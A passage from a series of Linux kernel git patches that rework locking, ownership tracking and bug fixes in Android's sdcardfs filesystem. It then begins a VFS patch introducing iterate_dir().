29 deletions(-) diff --git a/fs/sdcardfs/derived_perm.c b/fs/sdcardfs/derived_perm.c index 41e0e11b3c358..bfe402b8cf32f 100755 --- a/fs/sdcardfs/derived_perm.c +++ b/fs/sdcardfs/derived_perm.c @@ -111,15 +111,15 @@ void get_derived_permission(struct dentry *parent, struct dentry *dentry) void get_derive_permissions_recursive(struct dentry *parent) { struct dentry *dentry; + spin_lock(&parent->d_lock); list_for_each_entry(dentry, &parent->d_subdirs, d_child) { if (dentry->d_inode) { - mutex_lock(&dentry->d_inode->i_mutex); get_derived_permission(parent, dentry); fix_derived_permission(dentry->d_inode); get_derive_permissions_recursive(dentry); - mutex_unlock(&dentry->d_inode->i_mutex); } } + spin_unlock(&parent->d_lock); } /* main function for updating derived permission */ @@ -135,7 +135,6 @@ inline void update_derived_permission_lock(struct dentry *dentry) * 1. need to check whether the dentry is updated or not * 2. remove the root dentry update */ - mutex_lock(&dentry->d_inode->i_mutex); if(IS_ROOT(dentry)) { //setup_default_pre_root_state(dentry->d_inode); } else { @@ -146,7 +145,6 @@ inline void update_derived_permission_lock(struct dentry *dentry) } } fix_derived_permission(dentry->d_inode); - mutex_unlock(&dentry->d_inode->i_mutex); } int need_graft_path(struct dentry *dentry) diff --git a/fs/sdcardfs/inode.c b/fs/sdcardfs/inode.c index a9980f01fe179..16096f9d34e1a 100755 --- a/fs/sdcardfs/inode.c +++ b/fs/sdcardfs/inode.c @@ -502,11 +502,9 @@ static int sdcardfs_rename(struct inode *old_dir, struct dentry *old_dentry, } /* At this point, not all dentry information has been moved, so * we pass along new_dentry for the name.*/ - mutex_lock(&old_dentry->d_inode->i_mutex); get_derived_permission_new(new_dentry->d_parent, old_dentry, new_dentry); fix_derived_permission(old_dentry->d_inode); get_derive_permissions_recursive(old_dentry); - mutex_unlock(&old_dentry->d_inode->i_mutex); out: unlock_rename(lower_old_dir_dentry, lower_new_dir_dentry); dput(lower_old_dir_dentry); diff --git a/fs/sdcardfs/lookup.c b/fs/sdcardfs/lookup.c index 9e7b311245077..cc0b1b3d3ef87 100755 --- a/fs/sdcardfs/lookup.c +++ b/fs/sdcardfs/lookup.c @@ -236,7 +236,6 @@ static struct dentry *__sdcardfs_lookup(struct dentry *dentry, /* now start the actual lookup procedure */ lower_dir_dentry = lower_parent_path->dentry; lower_dir_mnt = lower_parent_path->mnt; - /* Use vfs_path_lookup to check if the dentry exists or not */ err = vfs_path_lookup(lower_dir_dentry, lower_dir_mnt, name, 0, &lower_path); @@ -387,11 +386,9 @@ struct dentry *sdcardfs_lookup(struct inode *dir, struct dentry *dentry, if (dentry->d_inode) { fsstack_copy_attr_times(dentry->d_inode, sdcardfs_lower_inode(dentry->d_inode)); - /* get drived permission */ - mutex_lock(&dentry->d_inode->i_mutex); + /* get derived permission */ get_derived_permission(parent, dentry); fix_derived_permission(dentry->d_inode); - mutex_unlock(&dentry->d_inode->i_mutex); } /* update parent directory's atime */ fsstack_copy_attr_atime(parent->d_inode, diff --git a/fs/sdcardfs/packagelist.c b/fs/sdcardfs/packagelist.c index f31e228128f08..f3bb858c39bd7 100755 --- a/fs/sdcardfs/packagelist.c +++ b/fs/sdcardfs/packagelist.c @@ -53,7 +53,7 @@ struct sb_list { struct packagelist_data { DECLARE_HASHTABLE(package_to_appid,8); - struct mutex hashtable_lock; + spinlock_t hashtable_lock; #ifdef CONFIG_SDCARD_FS_ANDROID_PKGLIST struct task_struct *thread_id; #endif @@ -86,15 +86,15 @@ appid_t get_appid(void *pkgl_id, const char *app_name) unsigned int hash = str_hash(app_name); appid_t ret_id; - mutex_lock(&pkgl_dat->hashtable_lock); + spin_lock(&pkgl_dat->hashtable_lock); hash_for_each_possible(pkgl_dat->package_to_appid, hash_cur, hlist, hash) { if (!strcasecmp(app_name, hash_cur->key)) { ret_id = (appid_t)hash_cur->value; - mutex_unlock(&pkgl_dat->hashtable_lock); + spin_unlock(&pkgl_dat->hashtable_lock); return ret_id; } } - mutex_unlock(&pkgl_dat->hashtable_lock); + spin_unlock(&pkgl_dat->hashtable_lock); return 0; } @@ -148,10 +148,10 @@ static int insert_str_to_int_lock(struct packagelist_data *pkgl_dat, char *key, return 0; } } - new_entry = kmem_cache_alloc(hashtable_entry_cachep, GFP_KERNEL); + new_entry = kmem_cache_alloc(hashtable_entry_cachep, GFP_ATOMIC); if (!new_entry) return -ENOMEM; - new_entry->key = kstrdup(key, GFP_KERNEL); + new_entry->key = kstrdup(key, GFP_ATOMIC); new_entry->value = value; hash_add(pkgl_dat->package_to_appid, &new_entry->hlist, hash); return 0; @@ -159,9 +159,7 @@ static int insert_str_to_int_lock(struct packagelist_data *pkgl_dat, char *key, static void fixup_perms(struct super_block *sb) { if (sb && sb->s_magic == SDCARDFS_SUPER_MAGIC) { - mutex_lock(&sb->s_root->d_inode->i_mutex); get_derive_permissions_recursive(sb->s_root); - mutex_unlock(&sb->s_root->d_inode->i_mutex); } } @@ -170,9 +168,9 @@ static int insert_str_to_int(struct packagelist_data *pkgl_dat, char *key, int ret; struct sdcardfs_sb_info *sbinfo; mutex_lock(&sdcardfs_super_list_lock); - mutex_lock(&pkgl_dat->hashtable_lock); + spin_lock(&pkgl_dat->hashtable_lock); ret = insert_str_to_int_lock(pkgl_dat, key, value); - mutex_unlock(&pkgl_dat->hashtable_lock); + spin_unlock(&pkgl_dat->hashtable_lock); list_for_each_entry(sbinfo, &sdcardfs_super_list, list) { if (sbinfo) { @@ -195,14 +193,14 @@ static void remove_str_to_int(struct packagelist_data *pkgl_dat, const char *key struct hashtable_entry *hash_cur; unsigned int hash = str_hash(key); mutex_lock(&sdcardfs_super_list_lock); - mutex_lock(&pkgl_dat->hashtable_lock); + spin_lock(&pkgl_data_all->hashtable_lock); hash_for_each_possible(pkgl_dat->package_to_appid, hash_cur, hlist, hash) { if (!strcasecmp(key, hash_cur->key)) { remove_str_to_int_lock(hash_cur); break; } } - mutex_unlock(&pkgl_dat->hashtable_lock); + spin_unlock(&pkgl_data_all->hashtable_lock); list_for_each_entry(sbinfo, &sdcardfs_super_list, list) { if (sbinfo) { fixup_perms(sbinfo->sb); @@ -217,8 +215,10 @@ static void remove_all_hashentries_locked(struct packagelist_data *pkgl_dat) struct hashtable_entry *hash_cur; struct hlist_node *h_t; int i; + spin_lock(&pkgl_data_all->hashtable_lock); hash_for_each_safe(pkgl_dat->package_to_appid, i, h_t, hash_cur, hlist) remove_str_to_int_lock(hash_cur); + spin_unlock(&pkgl_data_all->hashtable_lock); hash_init(pkgl_dat->package_to_appid); } @@ -231,7 +231,7 @@ static int read_package_list(struct packagelist_data *pkgl_dat) { printk(KERN_INFO "sdcardfs: read_package_list\n"); - mutex_lock(&pkgl_dat->hashtable_lock); + spin_lock(&pkgl_dat->hashtable_lock); remove_all_hashentries_locked(pkgl_dat); @@ -272,7 +272,7 @@ static int read_package_list(struct packagelist_data *pkgl_dat) { } sys_close(fd); - mutex_unlock(&pkgl_dat->hashtable_lock); + spin_unlock(&pkgl_dat->hashtable_lock); return 0; } @@ -394,7 +394,7 @@ static struct packagelist_data * packagelist_create(void) return ERR_PTR(-ENOMEM); } - mutex_init(&pkgl_dat->hashtable_lock); + spin_lock_init(&pkgl_dat->hashtable_lock); hash_init(pkgl_dat->package_to_appid); #ifdef CONFIG_SDCARD_FS_ANDROID_PKGLIST @@ -406,12 +406,12 @@ static struct packagelist_data * packagelist_create(void) static void packagelist_destroy(struct packagelist_data *pkgl_dat) { - mutex_lock(&pkgl_dat->hashtable_lock); + spin_lock(&pkgl_dat->hashtable_lock); #ifdef CONFIG_SDCARD_FS_ANDROID_PKGLIST package_reader_destroy(pkgl_dat); #endif remove_all_hashentries_locked(pkgl_dat); - mutex_unlock(&pkgl_dat->hashtable_lock); + spin_unlock(&pkgl_dat->hashtable_lock); printk(KERN_INFO "sdcardfs: destroyed packagelist pkgld\n"); kfree(pkgl_dat); } @@ -536,7 +536,7 @@ static ssize_t packages_attr_show(struct config_item *item, int count = 0, written = 0; char errormsg[] = "\n"; - mutex_lock(&pkgl_data_all->hashtable_lock); + spin_lock(&pkgl_data_all->hashtable_lock); hash_for_each_safe(pkgl_data_all->package_to_appid, i, h_t, hash_cur, hlist) { written = scnprintf(page + count, PAGE_SIZE - sizeof(errormsg) - count, "%s %d\n", (char *)hash_cur->key, hash_cur->value); if (count + written == PAGE_SIZE - sizeof(errormsg)) { @@ -545,7 +545,7 @@ static ssize_t packages_attr_show(struct config_item *item, } count += written; } - mutex_unlock(&pkgl_data_all->hashtable_lock); + spin_unlock(&pkgl_data_all->hashtable_lock); return count; } From 8f7eae533e1cc37997a7ce181fc317f58dd63b6b Mon Sep 17 00:00:00 2001 From: Daniel Rosenberg Date: Wed, 18 May 2016 16:57:10 -0700 Subject: [PATCH 316/365] sdcardfs: Added top to sdcardfs_inode_info Adding packages to the package list and moving files takes a large amount of locks, and is currently a heavy operation. This adds a 'top' field to the inode_info, which points to the inode for the top most directory whose owner you would like to match. On permission checks and get_attr, we look up the owner based on the information at top. When we change a package mapping, we need only modify the information in the corresponding top inode_info's. When renaming, we must ensure top is set correctly in all children. This happens when an app specific folder gets moved outside of the folder for that app. Change-Id: Ib749c60b568e9a45a46f8ceed985c1338246ec6c Signed-off-by: Daniel Rosenberg --- fs/sdcardfs/derived_perm.c | 66 ++++++++++++++++++++++++++++++++++---- fs/sdcardfs/inode.c | 11 +++++-- fs/sdcardfs/main.c | 4 +-- fs/sdcardfs/packagelist.c | 8 ++--- fs/sdcardfs/sdcardfs.h | 9 ++++-- 5 files changed, 80 insertions(+), 18 deletions(-) diff --git a/fs/sdcardfs/derived_perm.c b/fs/sdcardfs/derived_perm.c index bfe402b8cf32f..2b1824d5443ee 100755 --- a/fs/sdcardfs/derived_perm.c +++ b/fs/sdcardfs/derived_perm.c @@ -30,11 +30,12 @@ static void inherit_derived_state(struct inode *parent, struct inode *child) ci->userid = pi->userid; ci->d_uid = pi->d_uid; ci->under_android = pi->under_android; + ci->top = pi->top; } /* helper function for derived state */ -void setup_derived_state(struct inode *inode, perm_t perm, - userid_t userid, uid_t uid, bool under_android) +void setup_derived_state(struct inode *inode, perm_t perm, userid_t userid, + uid_t uid, bool under_android, struct inode *top) { struct sdcardfs_inode_info *info = SDCARDFS_I(inode); @@ -42,6 +43,7 @@ void setup_derived_state(struct inode *inode, perm_t perm, info->userid = userid; info->d_uid = uid; info->under_android = under_android; + info->top = top; } /* While renaming, there is a point where we want the path from dentry, but the name from newdentry */ @@ -71,6 +73,7 @@ void get_derived_permission_new(struct dentry *parent, struct dentry *dentry, st /* Legacy internal layout places users at top level */ info->perm = PERM_ROOT; info->userid = simple_strtoul(newdentry->d_name.name, NULL, 10); + info->top = &info->vfs_inode; break; case PERM_ROOT: /* Assume masked off by default. */ @@ -78,19 +81,23 @@ void get_derived_permission_new(struct dentry *parent, struct dentry *dentry, st /* App-specific directories inside; let anyone traverse */ info->perm = PERM_ANDROID; info->under_android = true; + info->top = &info->vfs_inode; } break; case PERM_ANDROID: if (!strcasecmp(newdentry->d_name.name, "data")) { /* App-specific directories inside; let anyone traverse */ info->perm = PERM_ANDROID_DATA; + info->top = &info->vfs_inode; } else if (!strcasecmp(newdentry->d_name.name, "obb")) { /* App-specific directories inside; let anyone traverse */ info->perm = PERM_ANDROID_OBB; + info->top = &info->vfs_inode; /* Single OBB directory is always shared */ } else if (!strcasecmp(newdentry->d_name.name, "media")) { /* App-specific directories inside; let anyone traverse */ info->perm = PERM_ANDROID_MEDIA; + info->top = &info->vfs_inode; } break; case PERM_ANDROID_DATA: @@ -100,6 +107,7 @@ void get_derived_permission_new(struct dentry *parent, struct dentry *dentry, st if (appid != 0) { info->d_uid = multiuser_get_uid(parent_info->userid, appid); } + info->top = &info->vfs_inode; break; } } @@ -109,14 +117,60 @@ void get_derived_permission(struct dentry *parent, struct dentry *dentry) get_derived_permission_new(parent, dentry, dentry); } -void get_derive_permissions_recursive(struct dentry *parent) { +static int descendant_may_need_fixup(perm_t perm) { + if (perm == PERM_PRE_ROOT || perm == PERM_ROOT || perm == PERM_ANDROID) + return 1; + return 0; +} + +static int needs_fixup(perm_t perm) { + if (perm == PERM_ANDROID_DATA || perm == PERM_ANDROID_OBB + || perm == PERM_ANDROID_MEDIA) + return 1; + return 0; +} + +void fixup_perms_recursive(struct dentry *dentry, const char* name, size_t len) { + struct dentry *child; + struct sdcardfs_inode_info *info; + if (!dentry || !dentry->d_inode) + return; + info = SDCARDFS_I(dentry->d_inode); + + if (needs_fixup(info->perm)) { + mutex_lock(&dentry->d_inode->i_mutex); + child = lookup_one_len(name, dentry, len); + mutex_unlock(&dentry->d_inode->i_mutex); + if (!IS_ERR(child)) { + if (child->d_inode) { + get_derived_permission(dentry, child); + fix_derived_permission(child->d_inode); + } + dput(child); + } + } else if (descendant_may_need_fixup(info->perm)) { + mutex_lock(&dentry->d_inode->i_mutex); + list_for_each_entry(child, &dentry->d_subdirs, d_child) { + fixup_perms_recursive(child, name, len); + } + mutex_unlock(&dentry->d_inode->i_mutex); + } +} + +void fixup_top_recursive(struct dentry *parent) { struct dentry *dentry; + struct sdcardfs_inode_info *info; + if (!parent->d_inode) + return; + info = SDCARDFS_I(parent->d_inode); spin_lock(&parent->d_lock); list_for_each_entry(dentry, &parent->d_subdirs, d_child) { if (dentry->d_inode) { - get_derived_permission(parent, dentry); - fix_derived_permission(dentry->d_inode); - get_derive_permissions_recursive(dentry); + if (SDCARDFS_I(parent->d_inode)->top != SDCARDFS_I(dentry->d_inode)->top) { + get_derived_permission(parent, dentry); + fix_derived_permission(dentry->d_inode); + fixup_top_recursive(dentry); + } } } spin_unlock(&parent->d_lock); diff --git a/fs/sdcardfs/inode.c b/fs/sdcardfs/inode.c index 16096f9d34e1a..d9c2d9ca3a947 100755 --- a/fs/sdcardfs/inode.c +++ b/fs/sdcardfs/inode.c @@ -504,7 +504,7 @@ static int sdcardfs_rename(struct inode *old_dir, struct dentry *old_dentry, * we pass along new_dentry for the name.*/ get_derived_permission_new(new_dentry->d_parent, old_dentry, new_dentry); fix_derived_permission(old_dentry->d_inode); - get_derive_permissions_recursive(old_dentry); + fixup_top_recursive(old_dentry); out: unlock_rename(lower_old_dir_dentry, lower_new_dir_dentry); dput(lower_old_dir_dentry); @@ -589,6 +589,13 @@ static void sdcardfs_put_link(struct dentry *dentry, struct nameidata *nd, static int sdcardfs_permission(struct inode *inode, int mask) { int err; + struct inode *top = SDCARDFS_I(inode)->top; + + /* Ensure owner is up to date */ + if (from_kuid(&init_user_ns, inode->i_uid) != from_kuid(&init_user_ns, top->i_uid)) { + SDCARDFS_I(inode)->d_uid = SDCARDFS_I(top)->d_uid; + fix_derived_permission(inode); + } /* * Permission check on sdcardfs inode. @@ -776,9 +783,7 @@ const struct inode_operations sdcardfs_symlink_iops = { const struct inode_operations sdcardfs_dir_iops = { .create = sdcardfs_create, .lookup = sdcardfs_lookup, -#if 0 .permission = sdcardfs_permission, -#endif .unlink = sdcardfs_unlink, .mkdir = sdcardfs_mkdir, .rmdir = sdcardfs_rmdir, diff --git a/fs/sdcardfs/main.c b/fs/sdcardfs/main.c index a6522286d7314..3b8aa32938904 100755 --- a/fs/sdcardfs/main.c +++ b/fs/sdcardfs/main.c @@ -268,13 +268,13 @@ static int sdcardfs_read_super(struct super_block *sb, const char *dev_name, sb_info->obbpath_s = kzalloc(PATH_MAX, GFP_KERNEL); mutex_lock(&sdcardfs_super_list_lock); if(sb_info->options.multiuser) { - setup_derived_state(sb->s_root->d_inode, PERM_PRE_ROOT, sb_info->options.fs_user_id, AID_ROOT, false); + setup_derived_state(sb->s_root->d_inode, PERM_PRE_ROOT, sb_info->options.fs_user_id, AID_ROOT, false, sb->s_root->d_inode); snprintf(sb_info->obbpath_s, PATH_MAX, "%s/obb", dev_name); /*err = prepare_dir(sb_info->obbpath_s, sb_info->options.fs_low_uid, sb_info->options.fs_low_gid, 00755);*/ } else { - setup_derived_state(sb->s_root->d_inode, PERM_ROOT, sb_info->options.fs_low_uid, AID_ROOT, false); + setup_derived_state(sb->s_root->d_inode, PERM_ROOT, sb_info->options.fs_low_uid, AID_ROOT, false, sb->s_root->d_inode); snprintf(sb_info->obbpath_s, PATH_MAX, "%s/Android/obb", dev_name); } fix_derived_permission(sb->s_root->d_inode); diff --git a/fs/sdcardfs/packagelist.c b/fs/sdcardfs/packagelist.c index f3bb858c39bd7..c9a42ffdbecdc 100755 --- a/fs/sdcardfs/packagelist.c +++ b/fs/sdcardfs/packagelist.c @@ -157,9 +157,9 @@ static int insert_str_to_int_lock(struct packagelist_data *pkgl_dat, char *key, return 0; } -static void fixup_perms(struct super_block *sb) { +static void fixup_perms(struct super_block *sb, const char *key) { if (sb && sb->s_magic == SDCARDFS_SUPER_MAGIC) { - get_derive_permissions_recursive(sb->s_root); + fixup_perms_recursive(sb->s_root, key, strlen(key)); } } @@ -174,7 +174,7 @@ static int insert_str_to_int(struct packagelist_data *pkgl_dat, char *key, list_for_each_entry(sbinfo, &sdcardfs_super_list, list) { if (sbinfo) { - fixup_perms(sbinfo->sb); + fixup_perms(sbinfo->sb, key); } } mutex_unlock(&sdcardfs_super_list_lock); @@ -203,7 +203,7 @@ static void remove_str_to_int(struct packagelist_data *pkgl_dat, const char *key spin_unlock(&pkgl_data_all->hashtable_lock); list_for_each_entry(sbinfo, &sdcardfs_super_list, list) { if (sbinfo) { - fixup_perms(sbinfo->sb); + fixup_perms(sbinfo->sb, key); } } mutex_unlock(&sdcardfs_super_list_lock); diff --git a/fs/sdcardfs/sdcardfs.h b/fs/sdcardfs/sdcardfs.h index 7f3dee3b1f1d3..113d722b803b2 100755 --- a/fs/sdcardfs/sdcardfs.h +++ b/fs/sdcardfs/sdcardfs.h @@ -169,6 +169,8 @@ struct sdcardfs_inode_info { userid_t userid; uid_t d_uid; bool under_android; + /* top folder for ownership */ + struct inode *top; struct inode vfs_inode; }; @@ -403,11 +405,12 @@ extern int packagelist_init(void); extern void packagelist_exit(void); /* for derived_perm.c */ -extern void setup_derived_state(struct inode *inode, perm_t perm, - userid_t userid, uid_t uid, bool under_android); +extern void setup_derived_state(struct inode *inode, perm_t perm, userid_t userid, + uid_t uid, bool under_android, struct inode *top); extern void get_derived_permission(struct dentry *parent, struct dentry *dentry); extern void get_derived_permission_new(struct dentry *parent, struct dentry *dentry, struct dentry *newdentry); -extern void get_derive_permissions_recursive(struct dentry *parent); +extern void fixup_top_recursive(struct dentry *parent); +extern void fixup_perms_recursive(struct dentry *dentry, const char *name, size_t len); extern void update_derived_permission_lock(struct dentry *dentry); extern int need_graft_path(struct dentry *dentry); From 2e13455d55d55aa46f6c48ddd230111ee8ab8939 Mon Sep 17 00:00:00 2001 From: Steve Kondik Date: Tue, 6 Sep 2016 08:54:44 -0700 Subject: [PATCH 317/365] sdcardfs: Turn off packagelist fetching by default * We don't need this on N. Change-Id: I3ee393e9a7b552671e11d39184b2dee76a218ea6 --- fs/sdcardfs/Kconfig | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/sdcardfs/Kconfig b/fs/sdcardfs/Kconfig index 49b0b96b0a93e..1ca69d2578e7a 100755 --- a/fs/sdcardfs/Kconfig +++ b/fs/sdcardfs/Kconfig @@ -15,7 +15,7 @@ config SDCARD_FS_FADV_NOACTIVE config CONFIG_SDCARD_FS_ANDROID_PKGLIST bool "Read Android packages.list from filesystem" depends on SDCARD_FS - default y + default n help Support for reading Android's package list directly from the filesystem. Disable this if you have support for the From b3977a5bd51bf2e9d53b14dd7e0c0dbae70ccf23 Mon Sep 17 00:00:00 2001 From: Daniel Rosenberg Date: Sun, 21 Aug 2016 21:04:12 -0700 Subject: [PATCH 318/365] sdcardfs: Remove stale dentries when reusing an inode. When an inode is moved in one view of sdcardfs, others do not know about it until the information is requested, and even then, the old dentry is not invalidated until it is used. If the inode moves back, it may successfully revalidate with stale permissions. Since we do not allow hard links, we can avoid this by removing alias's when we reuse an inode. Change-Id: I3c00c496b436af4d3309a77a596dec8fd5906cdd Signed-off-by: Daniel Rosenberg --- fs/sdcardfs/lookup.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/fs/sdcardfs/lookup.c b/fs/sdcardfs/lookup.c index cc0b1b3d3ef87..40a9fa7e7c85f 100755 --- a/fs/sdcardfs/lookup.c +++ b/fs/sdcardfs/lookup.c @@ -111,8 +111,13 @@ struct inode *sdcardfs_iget(struct super_block *sb, struct inode *lower_inode, u return ERR_PTR(err); } /* if found a cached inode, then just return it */ - if (!(inode->i_state & I_NEW)) + if (!(inode->i_state & I_NEW)) { + /* There can only be one alias, as we don't permit hard links + * This ensures we do not keep stale dentries that would later + * cause confusion. */ + d_prune_aliases(inode); return inode; + } /* initialize new inode */ info = SDCARDFS_I(inode); From f632fa71b6f2d300ab6fa68c8a0da5590d9a6574 Mon Sep 17 00:00:00 2001 From: alvin_liang Date: Mon, 19 Sep 2016 16:59:12 +0800 Subject: [PATCH 319/365] sdcardfs: fix external storage exporting incorrect uid Symptom: App cannot write into per-app folder Root Cause: sdcardfs exports incorrect uid Solution: fix uid Project: All Note: Test done by RD: passed Change-Id: Iff64f6f40ba4c679f07f4426d3db6e6d0db7e3ca --- fs/sdcardfs/main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/sdcardfs/main.c b/fs/sdcardfs/main.c index 3b8aa32938904..3666aef3e0f0e 100755 --- a/fs/sdcardfs/main.c +++ b/fs/sdcardfs/main.c @@ -274,7 +274,7 @@ static int sdcardfs_read_super(struct super_block *sb, const char *dev_name, sb_info->options.fs_low_uid, sb_info->options.fs_low_gid, 00755);*/ } else { - setup_derived_state(sb->s_root->d_inode, PERM_ROOT, sb_info->options.fs_low_uid, AID_ROOT, false, sb->s_root->d_inode); + setup_derived_state(sb->s_root->d_inode, PERM_ROOT, sb_info->options.fs_user_id, AID_ROOT, false, sb->s_root->d_inode); snprintf(sb_info->obbpath_s, PATH_MAX, "%s/Android/obb", dev_name); } fix_derived_permission(sb->s_root->d_inode); From d1bddffb01eab30370a1dfedd206a177feecacd5 Mon Sep 17 00:00:00 2001 From: jollaman999 Date: Sat, 3 Dec 2016 15:28:45 +0900 Subject: [PATCH 320/365] sdcardfs: Remove 'obbpath is found' message --- fs/sdcardfs/derived_perm.c | 1 - 1 file changed, 1 deletion(-) diff --git a/fs/sdcardfs/derived_perm.c b/fs/sdcardfs/derived_perm.c index 2b1824d5443ee..1e0576aa9560c 100755 --- a/fs/sdcardfs/derived_perm.c +++ b/fs/sdcardfs/derived_perm.c @@ -301,7 +301,6 @@ int setup_obb_dentry(struct dentry *dentry, struct path *lower_path) if(!err) { /* the obbpath base has been found */ - printk(KERN_INFO "sdcardfs: the sbi->obbpath is found\n"); pathcpy(lower_path, &obbpath); } else { /* if the sbi->obbpath is not available, we can optionally From ea9154f6b93970698e7bcbdc511729f8a8a7f286 Mon Sep 17 00:00:00 2001 From: jollaman999 Date: Mon, 12 Dec 2016 00:38:35 +0900 Subject: [PATCH 321/365] sdcardfs: Fix NULL pointer dereference in sdcardfs_permission [13099.068058] Unable to handle kernel NULL pointer dereference at virtual address 00000004 [13099.068077] pgd = ffffffc019be1000 [13099.068082] [00000004] *pgd=000000002628e003, *pmd=0000000000000000 [13099.068096] Internal error: Oops: 96000006 [#1] PREEMPT SMP [13099.068109] CPU: 1 PID: 20537 Comm: FileObserver Tainted: G W 3.10.104-jolla-kernel_bullhead_II-v11.2_25 #1 [13099.068116] task: ffffffc023f21000 ti: ffffffc021e64000 task.ti: ffffffc021e64000 [13099.068131] PC is at sdcardfs_permission+0x10/0xdc [13099.068141] LR is at __inode_permission+0x40/0x98 [13099.068147] pc : [] lr : [] pstate: 60000145 [13099.068152] sp : ffffffc021e67de0 [13099.068156] x29: ffffffc021e67de0 x28: ffffffc021e64000 [13099.068165] x27: ffffffc001002000 x26: 000000000000001b [13099.068173] x25: ffffffc04f5d3200 x24: 0000000000000015 [13099.068181] x23: 0000000020000000 x22: 0000000000000fcc [13099.068190] x21: ffffffffffffffff x20: 0000000000000004 [13099.068198] x19: ffffffc011a1b9a0 x18: 0000000000ffffeb [13099.068206] x17: 00000079a6c9c26c x16: ffffffc000345c54 [13099.068214] x15: 00000079992cfb98 x14: 0000000032f0e5f0 [13099.068223] x13: 0000000000000000 x12: 0000000000000040 [13099.068231] x11: 0000000000000040 x10: 0000000000430000 [13099.068239] x9 : 0000000000000002 x8 : 0000000000000042 [13099.068247] x7 : ffffffc001043f10 x6 : ffffffc001043f10 [13099.068256] x5 : 0000000000000000 x4 : 0000000000000000 [13099.068264] x3 : 0000000000000140 x2 : 0000000000000000 [13099.068272] x1 : 0000000000000004 x0 : ffffffc011a1b9a0 [13099.068280] [13099.068285] Process FileObserver (pid: 20537, stack limit = 0xffffffc021e64058) [13099.068290] Call trace: [13099.068298] [] sdcardfs_permission+0x10/0xdc [13099.068305] [] __inode_permission+0x40/0x98 [13099.068312] [] inode_permission+0x44/0x4c [13099.068321] [] SyS_inotify_add_watch+0xb8/0x348 [13099.068329] Code: a9bf7bfd 910003fd f85f8002 b9400405 (b9400444) [13099.068338] ---[ end trace f9dc98c0db8abffb ]--- --- fs/sdcardfs/inode.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/fs/sdcardfs/inode.c b/fs/sdcardfs/inode.c index d9c2d9ca3a947..a057fdca7623e 100755 --- a/fs/sdcardfs/inode.c +++ b/fs/sdcardfs/inode.c @@ -592,7 +592,8 @@ static int sdcardfs_permission(struct inode *inode, int mask) struct inode *top = SDCARDFS_I(inode)->top; /* Ensure owner is up to date */ - if (from_kuid(&init_user_ns, inode->i_uid) != from_kuid(&init_user_ns, top->i_uid)) { + if (top && + from_kuid(&init_user_ns, inode->i_uid) != from_kuid(&init_user_ns, top->i_uid)) { SDCARDFS_I(inode)->d_uid = SDCARDFS_I(top)->d_uid; fix_derived_permission(inode); } From 88ade423cd3c8930e68d6adc9c1c0eccbee286d8 Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Mon, 19 Dec 2016 18:16:43 +0530 Subject: [PATCH 322/365] defconfig: enable SDCARDFS --- arch/arm/configs/zetsubou_defconfig | 1 + 1 file changed, 1 insertion(+) diff --git a/arch/arm/configs/zetsubou_defconfig b/arch/arm/configs/zetsubou_defconfig index 9a2db73f07781..56921a8aa6682 100644 --- a/arch/arm/configs/zetsubou_defconfig +++ b/arch/arm/configs/zetsubou_defconfig @@ -3451,6 +3451,7 @@ CONFIG_MISC_FILESYSTEMS=y # CONFIG_ADFS_FS is not set # CONFIG_AFFS_FS is not set # CONFIG_ECRYPT_FS is not set +CONFIG_SDCARD_FS=y # CONFIG_HFS_FS is not set # CONFIG_HFSPLUS_FS is not set # CONFIG_BEFS_FS is not set From 771c0e0fc07c8f766abe64c967a3fcad300f353b Mon Sep 17 00:00:00 2001 From: Al Viro Date: Wed, 15 May 2013 13:52:59 -0400 Subject: [PATCH 323/365] introduce iterate_dir() and dir_context iterate_dir(): new helper, replacing vfs_readdir(). struct dir_context: contains the readdir callback (and will get more stuff in it), embedded into whatever data that callback wants to deal with; eventually, we'll be passing it to ->readdir() replacement instead of (data,filldir) pair. Signed-off-by: Al Viro Git-commit: c301a0e047e401d41b26db1009d08e088ae2365a Git-repo: https://android.googlesource.com/kernel/common.git Signed-off-by: Kaushal Kumar --- Documentation/filesystems/porting | 3 +++ arch/alpha/kernel/osf_sys.c | 4 +++- arch/parisc/hpux/fs.c | 4 +++- fs/compat.c | 12 +++++++++--- fs/ecryptfs/file.c | 4 +++- fs/exportfs/expfs.c | 4 +++- fs/nfsd/nfs4recover.c | 13 +++++++++---- fs/nfsd/vfs.c | 4 +++- fs/readdir.c | 21 +++++++++++++-------- include/linux/fs.h | 4 ++++ 10 files changed, 53 insertions(+), 20 deletions(-) diff --git a/Documentation/filesystems/porting b/Documentation/filesystems/porting index 4db22f6491e02..85a4a033bae78 100644 --- a/Documentation/filesystems/porting +++ b/Documentation/filesystems/porting @@ -445,3 +445,6 @@ object doesn't exist. It's remote/distributed ones that might care... [mandatory] FS_REVAL_DOT is gone; if you used to have it, add ->d_weak_revalidate() in your dentry operations instead. +-- +[mandatory] + vfs_readdir() is gone; switch to iterate_dir() instead diff --git a/arch/alpha/kernel/osf_sys.c b/arch/alpha/kernel/osf_sys.c index b9e37ad6fa19c..ac19c7299d8e1 100644 --- a/arch/alpha/kernel/osf_sys.c +++ b/arch/alpha/kernel/osf_sys.c @@ -96,6 +96,7 @@ struct osf_dirent { }; struct osf_dirent_callback { + struct dir_context ctx; struct osf_dirent __user *dirent; long __user *basep; unsigned int count; @@ -155,8 +156,9 @@ SYSCALL_DEFINE4(osf_getdirentries, unsigned int, fd, buf.basep = basep; buf.count = count; buf.error = 0; + buf.ctx.actor = osf_filldir; - error = vfs_readdir(arg.file, osf_filldir, &buf); + error = iterate_dir(arg.file, &buf.ctx); if (error >= 0) error = buf.error; if (count != buf.count) diff --git a/arch/parisc/hpux/fs.c b/arch/parisc/hpux/fs.c index 838b479a42c4e..fc2cbee86e349 100644 --- a/arch/parisc/hpux/fs.c +++ b/arch/parisc/hpux/fs.c @@ -60,6 +60,7 @@ struct hpux_dirent { }; struct getdents_callback { + struct dir_context ctx; struct hpux_dirent __user *current_dir; struct hpux_dirent __user *previous; int count; @@ -121,8 +122,9 @@ int hpux_getdents(unsigned int fd, struct hpux_dirent __user *dirent, unsigned i buf.previous = NULL; buf.count = count; buf.error = 0; + buf.ctx.actor = filldir; - error = vfs_readdir(arg.file, filldir, &buf); + error = iterate_dir(arg.file, &buf.ctx); if (error >= 0) error = buf.error; lastdirent = buf.previous; diff --git a/fs/compat.c b/fs/compat.c index 